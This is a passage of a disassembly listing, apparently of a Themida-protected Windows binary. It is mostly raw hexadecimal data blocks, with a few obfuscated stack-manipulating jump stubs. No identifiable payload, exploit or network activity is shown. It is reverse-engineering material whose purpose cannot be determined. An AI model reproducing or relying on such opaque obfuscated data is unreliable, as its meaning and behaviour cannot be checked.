0E2D5B7A0h, 0E5788E11h dd 0A5EDB412h, 30573417h, 36313798h, 0C4338E11h, 0B817EE7h dd 0AA0AF4DCh, 11C53255h, 0FBC7328Fh, 0EB052479h, 0DC5BA605h dd 0DD5F210Fh, 9F01E180h, 159CE15Fh, 0B415E67Bh, 391AA5EDh dd 60387754h, 52DD229Eh, 78B70C6Ch, 97AA866Bh, 0CF404866h dd 0B47F057Ch, 7648EF34h, 9837B4F6h, 19B93A78h, 0E5734AAh dd 3E72DB33h, 0F33E03D5h, 0E52C71CFh, 8B065BDDh, 0B1F845A7h dd 9C942821h, 4EC57BF6h dd 0EC2F8CEEh, 0B3D87073h, 6045FF7Ah, 227FE1C1h, 0AE24C916h dd 0FA284363h, 428DE71Eh, 54E9C4DFh, 7C9ABCA3h, 0EFBAAB88h dd 79F6C24Bh, 3, 112E1970h, 0E0CE4994h, 0CAF42380h, 0DBE7126Dh dd 0A78B065Bh, 0B0BEF944h, 9DA5EC2Fh, 6B57C21Fh, 7678B70Ah dd 5C68A7FCh, 81E78957h, 4C7h, 4EF8300h, 31243C33h, 3C33243Ch dd 0F5685C24h, 89000033h, 968242Ch, 89000028h, 0EC81241Ch dd 4, 0BB241C89h, 75E01415h, 0C105EBC1h, 0EB8107E3h, 0D19893B7h dd 545BDD89h, 81241C8Bh, 4C4h, 18E56800h, 2C890000h, 8438F24h dd 56241C8Bh, 0C681E689h, 4, 8704C683h, 8B5C2434h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_502A84 ; --------------------------------------------------------------------------- db 41h dd 0A5B8E929h, 305E7D1h, 99E0FFC5h, 0C10BABB4h, 0CB5BC3A5h dd 874D7017h, 730B9B3Dh, 2F27321Dh, 2D674C9Dh, 584BDF4Bh dd 4B720FF8h, 3F65E80Ah, 0FF1CE105h, 0EB485869h, 24h, 8 dup(0) dd 0BDE900h db 2 dup(0) word_54AF42 dw 0B589h ; DATA XREF: Themida_:004EEAE4o dd 5E7D262h, 0B9858Bh, 858B05E2h, 5E2311Dh, 0D2ACB58Dh dd 858D05E7h, 5E5540Eh, 55C3D0FFh, 0E8h, 0ED815D00h, 5E7D2B2h dd 0B9BD83h, 0F0105E2h, 2C85h, 62B5FF00h, 8B05E7D2h, 0E2311D85h dd 27363505h, 0D0FF3481h, 850F013Ch, 0Ah, 1B8h, 47E900h dd 0C0330000h, 40E9h, 8D1C6A00h, 0E7D266B5h, 0B5FF5605h dd 5E7D262h, 311D858Bh, 363505E2h, 0FF348127h, 0CC483D0h dd 0D266B58Dh, 468B05E7h, 4E08314h, 0F04F883h, 784h, 0E9C03300h dd 5, 1B8h, 0B9BD8300h, 105E200h, 7850Fh, 0C35D0000h, 2E9h dd 8DCF5D00h, 0E7D28B85h, 2D858905h, 0E905E20Eh, 98h, 94h dd 5, 1, 0A28h, 2, 20h dup(0) dd 690F12C9h, 0BBDE9h, 0D59A6800h, 14E905E7h, 68FFFAACh dd 5E7D6C7h, 0FAAC0AE9h, 0D7D068FFh, 0E905E7h, 68FFFAACh dd 5E7D865h, 0FAABF6E9h, 0D98568FFh, 0ECE905E7h, 68FFFAABh dd 5E7D9E0h, 0FAABE2E9h, 0DCE768FFh, 0D8E905E7h, 68FFFAABh dd 5E7DDFFh, 0FAABCEE9h, 0EAAE28FFh, 5D599DECh, 8408F0B1h dd 0EEAC2B1Eh, 565C81E0h, 4B543348h, 0A3860C92h, 1D6C6A38h dd 7237D3DFh, 0DB9B0785h, 6D4C0DAAh, 9885F9FFh, 0B3870E9h dd 514DDEE7h, 58A3E9EEh, 0AEFCCA13h, 25D80239h, 446577AEh dd 27D4DC1Dh, 9CC90299h, 8B11C609h, 0A3521594h, 0C31344E5h dd 75C2FC18h, 9885B654h, 57236BEh, 18C08302h, 18A65594h dd 167F488Dh, 1FAA240h, 0B099EC5Bh, 0F9FA2183h, 21444AB1h dd 2B7236BEh, 4CB480CAh, 47CABA3Ch, 3FE6A78Ah, 4121h, 7B180500h dd 0EE51D057h, 1647A6EAh, 18B90435h, 6F6CDDFCh, 2491DA21h dd 10A9F5E5h, 0D1064891h, 62D901FAh, 0A1013E1Bh, 0D412F9FAh dd 2B74A9E0h, 0C4DB3FE6h, 54000000h, 0ADC374D5h, 2512F9FAh dd 696EA684h, 6499D823h, 86E5A354h, 828D1855h, 779614C3h dd 7D7AE5C6h, 7465EC3Fh, 893FA836h, 0B7FC18BDh, 0EB5E4442h dd 645DA8EEh, 0F354CBFFh, 1FAEE9Bh, 66517DCAh, 0B9BA1FF9h dd 68F9FA8Ch, 6C28AC13h, 0E067DC19h, 1F592047h, 0FB6EC504h dd 0CA7D43B8h, 0DD4C528Bh, 0DE51FB7Ch, 8C5D2AF7h, 0B1286B9Eh dd 9ADB7CE3h, 4BF7DE51h, 7764EBFCh, 73C7CC29h, 2742FE7Dh dd 9385Ch, 8602F400h, 0E9AD2918h, 505C9CEDh, 0BA00F74Ah dd 0E2B02D1Ch, 17A84FE4h, 4F32D8E6h, 0A998068Ch, 1E636F33h dd 0F37D3D9h, 6CE051F6h, 4C31F9FFh, 276D6E8Eh, 8F4706BBh dd 4A8FB20Bh, 1898464Ch, 1D995D7Bh, 5618A1A0h, 8901FAD1h dd 710E6BB2h, 43F9FAA1h, 70F30A98h, 6E03B89h, 56CC685Ch dd 0A30CEDD1h, 0AC2A7EABh, 0EEEBAAD8h, 387533A2h, 0A3469BAFh dd 10E53FE6h, 0D9000001h, 0A3E7EFAEh, 2EA2571Ah, 18B9C889h dd 0F52219FCh, 0CCC43372h, 3154810Fh, 74FFF358h, 376C1ED7h dd 97448F96h, 0BCF566C3h, 9237FC18h, 0FC18BCA1h, 0EA1F3B70h dd 18BC0C4Dh, 316EC5FCh, 20D8A1C4h, 1CFC18B8h, 81B217DBh dd 50FC18B3h, 8120AE1Bh, 74971DDEh, 7E7BE6C7h, 0F14ED38h dd 0B3074891h, 6BDEFC18h, 92DB2270h, 0D079E825h, 1FAE046h dd 5E6298E9h, 2E518ECFh, 7AFD29B9h, 0F0C94212h, 83C212Ah dd 989AB019h, 0E766041Fh, 0DF181142h, 0F46BC0F7h, 0DF18E253h dd 634433F7h, 96D94827h, 0CEB35F65h, 2B7A870Dh, 0EFE7CBAh dd 80B187Bh, 2FA90000h, 0DA1A6F6Bh, 897130DEh, 2DA89905h dd 0DD1E636Fh, 0D5BCCBD7h, 18D13C8h, 0EFEBB920h, 0B65C609Ah dd 1A8006F3h, 0CD8E2B5Ah, 4F9FF6Fh, 39AEDD19h, 86204AFFh dd 0D19029CCh, 2C686C2Ch, 20279CD9h, 0EB327861h, 0AE4E0FA8h dd 0A887FC18h, 5D6CDA73h, 437D80FFh, 1CDDAC7Ah, 6E4A709Eh dd 99D82369h, 0E0A45060h, 0DB9A2FABh, 0C40F9E1Ch, 0C5769513h dd 0D9463F88h, 5EA52D29h, 0FC08A24Bh, 238697FEh, 0E067DC95h dd 12C347h, 0BFFE6102h, 66D7703Eh, 64F9F0C8h, 9FDC2F75h dd 0E72384F3h, 21D69988h, 0FBEC7F9Bh, 87F9F0C8h, 0F2B5B498h dd 0EB60BB09h, 0F2B534D2h, 5F21BA06h, 382C312Dh, 0B26AA009h dd 0D6AD0412h, 0CDF9B592h, 90BD842Bh, 0ACA8DBCh, 55F23D8Eh dd 9E69BB79h, 7740DB90h, 800CCCEAh, 0E871F065h, 596D3267h dd 9594C1BEh, 8BB8DE34h, 73A71A4h, 89159344h, 3C793FB8h dd 5EE955EBh, 2583B4Eh, 0BE000007h, 13567C38h, 463BA7E3h dd 0A1800E92h, 176A7036h, 8532D8E6h, 961CC1DEh, 0FCC23908h dd 256993D6h, 890FC8B9h, 8720410Dh, 0F9FF6ED6h, 0AEC4060Fh dd 6A7EBEFh, 61C6202Dh, 0FC18B9F0h, 6A1D4A21h, 8C59CDh dd 2CA8EB02h, 0FD81D68h, 0E605709Bh, 5ABCC916h, 0BB3B7AEDh dd 39AED3FFh, 0D3B8F3E7h, 303F88B1h, 924B0AC4h, 883A3B0Ch dd 9CEBF9FFh, 0CC5DC427h, 488C80E1h, 9BBC394Ch, 0A0548D5Dh dd 1F5481E4h, 505683CEh, 5CC4FE2Bh, 553C4904h, 66Dh, 0CDC9CD0Bh dd 963C787Ch, 7F9B27D3h, 0C1CDCB0Ah, 0A9357B60h, 0B12A7312h dd 5782E7E3h, 0FEFC4D49h, 0A45514B2h, 8DF4F8E6h, 0FF612B2Ch dd 73BBFAF9h, 0A7EBEFAEh, 0FDB61744h, 4ACD7C50h, 1C5A43DDh dd 4A513E2h, 416FBBh, 0B6A98602h, 2213B437h, 0F3F9F018h dd 0BB3C2384h, 7BE6D1FDh, 0CE73D44Bh, 7F9F018h, 37B63928h dd 0F018A192h, 223B70F9h, 0F9F01831h, 2B328BE0h, 0F018304Eh dd 0CFA721F9h, 0ECB08558h, 392A3Fh, 32A70000h, 57C4BD4Fh dd 0CFBB0C7Ah, 0D2557918h, 18B9C075h, 0DB2219FCh, 18B9C17Eh dd 0A094D2FCh, 40FB469h, 111B3Ah, 15940000h, 18B183B4h dd 0C4E552FCh, 1BE8EE6h, 0FB40000h, 6E42CF77h, 0C3D85EFBh dd 296801FAh, 589DE8AEh, 0B3CF8029h, 2906F9FAh, 0CB3D0A90h dd 21623D6Ch, 7C50FDAEh, 76766CCDh, 0A899B476h, 0D912692Fh dd 0A3A0196Ch, 0E33F988Fh, 0ABA90E3h, 0F3E152F7h, 0EBEB3D4Ch dd 9FD4A3AFh, 6A30A9E8h, 0DEDC1D6Ch, 0F0117251h, 56C3948h dd 54Dh, 2DA9EDEBh, 0F61C985Ch, 5F7B47B3h, 21ADEBEAh, 89159B40h dd 0D10A9372h, 7762C7C3h, 1EDCAD29h, 0C4357492h, 0ED14D8C6h dd 0FF600B4Ch, 935BDAF9h, 0D823696Eh, 0DB4E62EFh, 7749CF58h dd 0D72700F6h, 85266A90h, 0FA02723Ch, 38A69D01h, 0ED0A9049h dd 4619AB8h, 0F287EEBBh, 8E000004h, 0E3464C48h, 562BB7F3h dd 0B1F01EA2h, 0E75A4046h, 9522A8F6h, 662CD1EEh, 0CCD20978h dd 357963C6h, 991FD8A9h, 9730717Dh, 0F9FF60A6h, 6EF4367Fh dd 0BD3C2369h, 18B95B1Ch, 2CBD8AFCh, 3A9F1E01h, 0FC18B939h dd 74A93E8h, 9816DED2h, 8ECF5E62h, 5E81E451h, 4B8A1197h dd 0B1FD088Eh, 75B9FFF7h, 3B877534h, 7ECCB8A2h, 8D0C3379h dd 7B820ECAh, 0B9E869F2h, 4239FC18h, 0BDCDA1Fh, 0FBC111Fh dd 3D133A04h, 57000000h, 0D0577B18h, 0FAE9FB77h, 0C6251201h dd 0FA89C479h, 0BD03F6F9h, 0AEF4E76Eh, 0B185275Fh, 89332485h dd 95E2F9FAh, 0B68EC858h, 417F1F88h, 0E1DC26DCh, 586FA2D8h dd 41DC3FE6h, 0E6000000h, 0D0577B18h, 0C8892E51h, 19FC18B9h dd 0C1309922h, 1401FB05h, 6D69285Fh, 0AE24E5F5h, 0CF04AB9Bh dd 0FAFFBEC3h, 0DBEC69BCh, 0FAFFFC72h, 8D0BCCF9h, 35A1E001h dd 0EDE96871h, 0EEF352A9h, 0B000003h, 0D0577B18h, 0FAE4D377h dd 0EE3D0A01h, 0D1347267h, 0D91BEBADh, 489190B4h, 418CF12h dd 11507E35h, 6F2DA8E8h, 1B62DF1Ch, 5287A1AEh, 8B12965Eh dd 0A9D81542h, 3E994A00h, 57B68D0Ah, 89F5C18Bh, 8B4C4A50h dd 3CBFA286h, 0DC9D3ABDh, 75EDBED5h, 0D52C2D3Eh, 8EE5EDBEh dd 0BE42D43Dh, 0E65D105Ch, 1D9B5C87h, 4E26208Eh, 0A2A58996h dd 72567505h, 50D7AC16h, 0E06443C7h, 0EFF87A53h, 0B91463Bh dd 68C71F0h, 159B4003h, 66523D2h, 2569F4D5h, 0B2279363h dd 0C73275F4h, 46E3A2F9h, 0E1720015h, 0A13A77CCh, 796DF2E5h dd 76F561C6h, 0A2371C90h, 0F4F83673h, 0C85E6F51h, 30A92873h dd 311A56B6h, 0B4E19B5Ah, 0F7CF8951h, 0CD7C50FDh, 0C2CE0B4Ah dd 0C2599612h, 63D73089h, 0BA22B687h, 7760C1CDh, 6E6BEA31h dd 0B9F6B222h, 0DB355A1Dh, 36E7FD7Eh, 0E25F14D5h, 86FCDA7Fh dd 581728D4h, 0C4CF64CDh, 0FEFDD308h, 0F1EA55B0h dd 317F7CA3h, 4D0EABEAh, 84D308C4h, 61551FAFh, 774F891Fh dd 494F88CBh, 1A20B932h, 69148CC7h, 3564h, 7B185E00h, 0C777D057h dd 501FAD1h, 0F7169242h, 79D6E69Ah, 69A69429h, 0CA7DCA50h dd 3D484E8Bh, 3B042FB8h, 0F9FAF606h, 0ACE3D315h, 3FE66271h dd 0E4DEh, 0EFAEE000h, 1744A7EBh, 424E8BB6h, 0D3D91E98h dd 93D22966h, 9EC1246Ah, 1FA35959h, 0DD184F8Ch, 181B62DFh dd 0B93F3099h, 99D6FC18h, 0D8D80140h, 0A5219E22h, 33248504h dd 0E2FC18B9h, 0DDEB3495h, 2BFC18BDh, 0BF40E4BEh, 912AA6A9h dd 676329AEh, 1DDDD502h, 0F47DFE5Bh, 0DF94FC18h, 19D63562h dd 4D848C74h, 8568C23Bh, 1342582h, 96EDFC18h, 2DB12659h dd 3EB26ED5h, 60C94891h, 1FA75BEh, 7B7C9AD1h, 0EA4FF2D6h dd 41FACB4h, 0BEE160DFh, 166B773Dh, 6552DFE5h, 14FE7CE8h dd 1EB2E71h, 4F890000h, 0FAFA4F4Bh, 0A95110BEh, 4D88F9E5h dd 0FDFE434Fh, 0F59C2BB7h, 616D33A8h, 0CFCBD900h, 963C807Ah dd 7A6026D3h, 0ADAE0B7Ah, 64F9FF65h, 6D6EFD39h, 18A12027h dd 0FC18B957h, 7228B18Eh, 0C6CCCA0Fh, 577B1818h, 226891D0h dd 0D4971699h, 41E69927h, 0FC18B910h, 8516AC1h, 1FAD146h dd 6331A899h, 0F58AD736h, 0E6F9FAA1h, 0C01D9460h, 6F3FE62Bh dd 0EAh, 0E9696E53h, 12692FA6h, 0B9CF80D9h, 2906FC18h dd 0B526A9FCh, 76F978EFh, 18B960D1h, 61FAB1FCh, 0FC18B9F0h dd 0EA714A21h, 18BD7B8Dh, 911089FCh, 46FC20Dh, 5780CF18h dd 3F4B551h, 0BC3F6685h, 18565A1Bh, 2BBC8BFCh, 6619CD52h dd 0FA38C1C1h, 7FE86B01h, 0F152FDC5h, 0B0A1BA1Bh, 6CF9FBBCh dd 99270260h, 370C0A5Ch, 9F3B7096h, 0EC93B7DCh, 1EEC344Bh dd 0FA8D904h, 0F7D08C4Eh, 7D79A887h, 3C69E239h, 3914A0Dh dd 46E36287h, 0F7D08C15h, 0EB5677CCh, 8247ACF2h, 15FE7C24h dd 0D31170h, 67910000h, 12C2A723h, 0C1390896h, 6590D1FDh dd 15C6BB27h, 0DF4038Fh, 59454BB0h, 27A3F1E8h, 8E149842h dd 52783EBBh, 85B61392h, 5CF9FF64h, 6D6E15D1h, 7B612027h dd 85F2C03Dh, 517CFA94h, 815A79D5h, 7533A485h, 696E6369h dd 6099D823h, 8A0DBC5Ah, 18B92C2Dh, 0F3B93EFCh, 422723A8h dd 46F71692h, 5AC7B009h, 0CC56F376h, 0C702008Dh, 25D21D68h dd 405CDBBBh, 2F6408F7h, 9319DEA3h, 751B2F08h, 67EA6CE6h dd 329F5DF2h, 3F62ADD9h, 21AAF1BDh, 98E6DE98h, 0CCBD595Fh dd 1B9A8D0Bh, 0C8CFBDBEh, 0C9E2598Eh, 0A3713405h, 54FFC8A7h dd 34A6EAEDh, 63D81D68h, 0C0B4BE18h, 9B078572h, 3CFEF166h dd 8301FC11h, 0C4C2373Ah, 3DEA1h, 0A7E40000h, 2C686E9Dh dd 5B6196D9h, 575B81C0h, 404E8D34h, 7341BA25h, 6E34A928h dd 9B21D41Fh, 9519C100h, 8307CF76h, 8952F278h, 4C281E2h dd 83000000h, 148704EAh, 24248B24h, 81E68956h, 4C6h, 4EE8100h dd 87000000h, 895C2434h, 0A6682414h, 89000033h, 68502404h dd 7B071718h, 1DBF5758h, 811DE52Eh, 1004BAEFh, 0E7814F05h dd 46613992h, 8106E7C1h, 0E34909F7h, 0DAEF8118h, 9C4AEE1h dd 0E0C15FF8h, 164E0503h, 0C28925EEh, 48B5458h, 4C48324h dd 24048152h, 6ABE5C66h, 5708408Fh, 0BE5C66BFh, 878296Ah dd 24048B5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_4F5CCB ; --------------------------------------------------------------------------- dd 963FECB0h, 96839625h, 9E592AC1h, 0F7B8CAACh, 305E7DEh dd 49E0FFC5h, 482F2E26h, 6173F93Ch, 8F317070h, 346CBF33h dd 0A77F40B2h, 267488F2h, 615F0EE8h, 0FD00E38Ah, 0DB542E41h dd 556CACCBh, 0C7351BFh, 4511A714h, 0F0490098h, 0FC33FE18h dd 0B5407CF5h, 0DC402E18h, 0F46E58E4h, 0E42043B9h, 0D6639171h dd 144C4AB3h, 493132EFh, 4A0902BCh, 57AE33Eh, 0C63A17D2h dd 116E11EEh, 7E7AD3DAh, 690684B2h, 307F279Ah, 0E85392E4h dd 14h, 2EFAD41Eh, 0CBA4D002h, 0A5A7C958h, 0BD87A51Fh dd 0D4A839F8h, 0FE9h, 31F1300h, 3C58FF8h, 0B1C3801Eh, 0A4A79217h dd 0C281FC5Ah, 5FC8h, 2BD98B66h, 0B5CB80F6h, 661634FFh dd 5F6504B9h, 0F781E7B0h, 8F0B1DAh, 0FE9h, 7587AD00h, 9A0D650Ch dd 0A6111E62h, 0AAD0C869h, 63E4EF81h, 0B96633E1h, 0F7819C09h dd 62F1492Ch, 57DBB70Fh, 8FDE8B66h, 0F1813204h, 618BEC90h dd 8325E880h, 8C0F01EEh, 12h, 0DE9h, 0C6F53600h, 4BBD0001h dd 0C73A4DA2h, 4E4E0D11h, 38E0F4Eh, 0F000000h, 0FE81C0BFh dd 0FFFFA0F8h, 0FF86850Fh, 810FFFFFh, 0Ch, 6820Fh, 0F1810000h dd 752AF0B3h, 0E1C48D8Dh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0EB187EC3h, 8D896939h dd 5E20BE9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 7EC35646h, 0CF29150h, 68D0Fh, 85890000h, 5E21D99h dd 76185C7h, 667005E2h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0FCC7F4C3h, 16880Fh dd 11E90000h, 0F6000000h, 0AAC45CEFh, 0AE47FF1Dh, 2F567EF4h dd 54A55A76h, 1B5585C7h, 5E2h, 0B5290000h, 5E22689h, 1DF1B5FFh dd 0BD2905E2h, 5E21D85h, 0B1595FFh, 0BD8B05E2h, 5E2070Dh dd 95FF006Ah, 5E20AB9h, 4DEBC08Bh, 8692A4E9h, 25646318h dd 0A8FDDC4Ch, 0F8AFAF8h, 4726F596h, 107B5DDFh, 0DD0F970Dh dd 4D70DE3Ch, 4D371E90h, 0A7C15D7Dh, 308C602Dh, 8AC60CC0h dd 0FBB73503h, 3F3F8BB0h, 9A63143h, 9EBE2763h, 8C212EABh dd 19641703h, 3B1720AFh, 0EF08EB9Ah, 3F1AE8h, 0E9023C00h dd 0C99h, 0E7E3BD68h, 6B9EE905h, 0ED68FFFBh, 0E905E7E4h dd 0FFFB6B94h, 0E7E67368h, 6B8AE905h, 2168FFFBh, 0E905E7E7h dd 0FFFB6B80h, 0E7E7E268h, 6B76E905h, 0D68FFFBh, 0E905E7EAh dd 0FFFB6B6Ch, 0E7EAC468h, 6B62E905h, 2668FFFBh, 0E905E7ECh dd 0FFFB6B58h, 0E7ED2168h, 6B4EE905h, 136EFFFBh, 0DD59A9C8h dd 0A001E180h, 68C43A5Dh, 298A741Bh, 0A6D9B3D6h, 2B4E9112h dd 670A57D7h, 0BEC11C9Bh, 0FC83E040h, 9467FA96h, 99A005D1h dd 8F11C0BBh, 79FBC732h, 7DE10524h, 28846A06h, 0A18F5CDBh dd 0D2287489h, 6043ABCFh, 949D5A29h, 1394A00Bh, 26141C8h dd 949E59F4h, 0A083A00Bh, 0D56C54C3h, 0C4BDF92Fh, 0F279B540h dd 8E2683E8h, 0B9C8873h, 0E2CEADA0h, 3576h, 294D7900h dd 40AEC652h, 4C159CDFh, 545AD547h, 6C4429C2h, 0CF9427D1h dd 0EE290AABh, 0B63E493h, 1AAE9BA0h, 0E8C5535Bh, 82FEC083h dd 7D1F23Dh, 0EE53h, 8F116400h, 15ADC732h, 0EDB3FFF8h dd 694724A5h, 5ED92487h, 44B31090h, 8BA5FA7Ah, 82A0FF44h dd 4E30D14Dh, 0A4C593F0h, 0ED9F3709h, 0CF1494A5h, 94D656A8h dd 0A9E0C51Ah, 0CA8691D5h, 20F1CBACh, 2C41EFCCh, 0ABCF6AA4h dd 9435B17Fh, 0CC231BFEh, 422EF391h, 0EAC8FD62h, 0EC251Fh dd 69CA1523h, 0E0143893h, 94365721h, 801D3B50h, 0A5EF80EDh dd 932B4526h, 1B15E67Bh, 391A9A26h, 0B30E915Fh, 8ED152ACh dd 5093B81Fh, 0B4ED0C7Ch, 0A6Ah, 6B0E51ACh, 0A3C61B97h dd 0FC83DE5Fh, 3659A602h, 751467C8h, 0CF50E41Bh, 9515ED8Ch dd 5AD92948h, 1E9E6007h, 0BCD4BEC1h, 5D05621h, 0EF9DBA0h dd 0CE2E8E11h, 0B3D4A73Ah, 7A59A5EDh, 64491A95h, 267BFDC5h dd 4374C50Ah, 1B694433h, 5B842C3Dh, 0E8557256h, 0ED92B39Eh dd 0F762CC28h, 4DBA7D5Bh, 0AEC65229h, 0A0F3E121h, 65337212h dd 0CF0330C8h, 9910F3ABh, 0AD3ED8Ah, 75CA24A0h, 2EBA343Ah dd 0AD3E893h, 896E4DA0h, 13A9800Eh, 24D8911Dh, 0E8355D51h dd 0D40683h, 11C90000h, 0ADC7328Fh, 0A89AE743h, 5927F14Eh dd 0CB1896D6h, 0FE9A7F4Ch, 0B330CB66h, 0BF5A5EDh, 0BD857AAh dd 0B9D34A26h, 50EDFB77h, 0A5EDB3A7h, 0EECAAF8Ch, 0EDB87153h dd 0CEDA5AA5h, 0EDAEC8B3h, 0A98E6DA5h, 0FDE16E86h, 377D3C1Ah dd 36B67850h, 98DCAEE9h, 983855E3h, 4BABCF61h, 81FEC068h dd 98E3443Eh, 0C5644C11h, 0DB5B3DA1h, 553A0B86h, 0AEBAA63Bh dd 5635A5EFh, 2873F43Ah, 9960EF09h, 0FA47A902h, 0EB9F5869h dd 7DC0230Dh, 505FB12Eh, 0D996E37Ch, 93Ah, 1B3E81FCh, 53F64BA7h dd 0ACB30E6Fh, 0E689D652h, 25449718h, 0FF60D44Bh, 0C5259DBCh dd 8AE9D978h, 4EAE1037h, 6C046EF1h, 5D026D1h, 5E290BA0h dd 2C338E11h, 60BB3A84h, 0F946A688h, 8F116156h, 772CF2Fh dd 0E8D64126h, 79C62688h, 0D51F594h, 0B947DA76h, 3CABCFC9h dd 432D72F2h, 29098063h, 0BA0767C7h, 821AB2D5h, 0B9D8C6Fh dd 0D32E8FA0h, 89A187A4h, 0B9D8374h, 0E6CBA8A0h, 62C4240Ah dd 5FDABF04h, 2F22ADC5h, 6C7D6EB9h, 0FDE295B8h, 0D859A00Ah dd 57390A85h, 13819C74h, 0E5275121h, 0BD3FF68Ah, 69A0FD7Dh dd 0B8D07754h, 3ABBF976h, 0B69BA8E7h, 637624ADh, 8C6421D9h dd 0B2FD42A2h, 0C4BC19DFh, 419E1A18h, 308BE8D6h, 4CF069F9h dd 49FF4AD4h, 72156ACAh, 58D72C8Ch, 0C4BB2BC5h, 16D87018h dd 0FB7A4497h, 7C5469A0h, 74F43FC5h, 36B6082Fh, 9A374FE9h dd 18C4BBE1h, 128B6546h, 0EA35B47Ah, 83F87C0Eh, 0D49C58F5h dd 0A4871EA6h, 86FD6185h, 0CF3D65EAh, 0EFA2F84h, 0B9F70A22h dd 9C18C474h, 38ED152h, 95765622h, 69B435FBh, 403B562Eh dd 0E50D0073h, 0DE572106h, 73B543h, 0E99FCA0Dh, 0DDD1226Ah dd 4B9C3F0h, 42140000h, 0A5EDB3B9h, 0EDC34433h, 0D75799A5h dd 523E0F8Ah, 0EDA7203Fh, 0CD2B95A5h, 0EE859870h, 79A5ED9Fh dd 5FF29EF5h, 0ABCFC5F9h, 559407E4h, 93766B35h, 7B42966h dd 7620000h, 0D12D95B4h, 9415ED8Ch, 5CD82649h, 1D9E6007h dd 5AD5BFC2h, 2F328DEEh, 6B0E53D3h, 0A2C51897h, 0E087DC5Ch dd 9863FE8Ah, 9DA005CDh, 8F11CCBFh, 738E2632h, 0A5EDB388h dd 0ABE2CEADh, 50F893DBh, 0D595523Dh, 52407ABh, 7AE20D36h dd 80C9617Dh, 0D0B51CD8h, 5B9725B8h, 0F55AA5E8h, 46BA087Bh dd 6D3D1B7Ah, 0B703168Eh, 0B64985AFh, 37F8831Eh, 5E3DEAC3h dd 0F78CD072h, 4040C459h, 280BF0A5h, 22599DE1h, 67E9FB16h dd 221CEAC3h, 13307FC4h, 5CDC224Eh, 1E9E6007h, 1B834CBDh dd 3A1F7240h, 77438AE3h, 0A47B237h, 706h, 0C76AB530h, 1F227FFBh dd 58FF42A3h, 92B50A66h, 0D170CB2Ch, 3BBC0887h, 16141E0h dd 0C6259DBCh, 8AEAD47Bh, 20381235h, 5CCEA8Dh, 9A6D4FA0h dd 0E02E294Dh, 58CAA1B7h, 0E57810F5h, 0ABCF6817h, 0D9273112h dd 0B88D0459h, 179959D0h, 6BC64FCAh, 0BCDA02D5h, 7018FD42h dd 0ED521FDDh, 0A73A52A5h, 9A2925D4h, 0B395E847h, 4B28F8D0h dd 25EA8924h, 817A9A29h, 0E49A2925h, 47E4080h, 0C05370BFh dd 9A292537h dd 59A602FCh, 4B280DDEh, 7FF902Dh, 841CA011h, 41438E69h dd 0D8B09394h, 94EC2B08h, 0C176C24Bh, 6C44E379h, 40D929D1h dd 0D8AD4594h, 2629440h, 0D60F6EBDh, 0F4058235h, 645BBh dd 2B76F300h, 0E340BA04h, 0B803625Ch, 76CB2999h, 318CEFD3h dd 7DC9462Eh, 3E80A7FAh, 0E2DC63C0h, 0AB173A85h, 0F955F449h dd 0CC2BCC61h, 12F0A005h, 52294D59h, 257AF8C6h, 67FFD9EAh dd 3F7FE1CFh, 142960BDh, 4BC45937h, 48ABD595h, 8AA08707h dd 6632813Fh, 446AA586h, 50F89FE4h, 0F0B20D6Eh, 3D4F2976h dd 4CB2DEBDh, 476493F0h, 96583069h, 1EFC916h, 9EE35F9Fh dd 8DD02F13h, 7F5C2102h, 0F14EB0D8h, 0DAAF48E5h, 9774A005h dd 0CA6647B2h, 5DAC4B7h, 0AE8A69A0h, 940360C0h, 5BF54AAAh dd 4FCA1795h, 571B927Eh, 270B86DBh, 643E79C4h, 41C157EDh dd 5FC154E8h, 0EBD57F02h, 0E8FD3489h, 3C2E7E00h, 5EB83E3h dd 0E5715FA2h, 1A6h, 0FA7947EAh, 7D5B68A7h, 640C87EFh dd 0C55883CCh, 0C3A7EC5Bh, 0ECC1C7B0h, 16926CA5h, 740CE4C9h dd 0CEDB1BD9h, 0EA2506ABh, 0AA8E297h, 8AD755A0h, 7CC1230Fh dd 5CE05935h, 59EF5AC4h, 0BC9E438Ch, 0AEA1D31Dh, 473CA0C2h dd 0E4E09429h, 0DC03A5EBh, 5696C513h, 7FC43EC6h, 624E1330h dd 209EA182h, 0BDD563C0h, 27975720h, 11FFDC9Ah, 0C13E8098h dd 4612337Eh, 84ABF878h, 0EB85FE66h, 0B30E6D53h, 0F4896744h dd 0A009B6A8h, 748E0C3h, 5FF2C8BEh, 9445409Ch, 64A1A281h dd 9DE24221h, 846C3112h, 0A81760Dh, 4D049445h, 67F03CB7h dd 4C917822h, 26000000h, 0C652294Dh, 2D4E0B99h, 0ED1FE790h dd 0F66F4CA5h, 0DFB9289Ch, 34522A47h, 0F6D5ABCFh, 50FE4BBh dd 0A802A00Bh, 2944DC5Bh, 0A00B044Eh, 0B20EF0D3h, 1148226Dh dd 79B56Bh, 0A301EF7Ch, 26F2D35Eh, 0E8661418h, 9FBD83h dd 11020000h, 0FBC7328Fh, 0C4EA2578h, 58A30264h, 0B2323C7Bh dd 9DA7CA6Dh, 58A5EDB8h, 57D41696h, 0DBB88D04h, 0DFA18F5Ch dd 0DD61005Dh, 3B56E299h, 0ABD25EA3h, 8847A40Ah, 19887589h dd 0A9876449h, 905EFAD9h, 5AA4CC0Fh, 0C11C9BD9h, 0B8907556h dd 8BD659A9h, 6D8BEF10h, 0C7B8F176h, 41Ah, 3B5EA11Ch, 73166BC7h dd 4CD32E8Fh, 86A9F672h, 0C564B738h, 1F80346Bh, 0E545BDDCh dd 0AA09F998h, 6ECE3057h, 0C240E11h, 5CA06F1h, 7E492BA0h dd 0E5788E11h, 0A5EDB412h, 30573417h, 0E116ECEh, 328F11B9h dd 2479FBC7h, 0B542B405h, 2FA5EE33h, 0A5ED3348h, 0C8294F97h dd 33D8A33Eh, 7E5DA5EDh, 49CB499h, 33A651ECh, 0B58BA5EDh dd 82A3EE33h, 0D5BED3BDh, 8AABD515h, 27408FA9h, 40EF7A8Fh dd 0E09B3642h, 45A0052Ah, 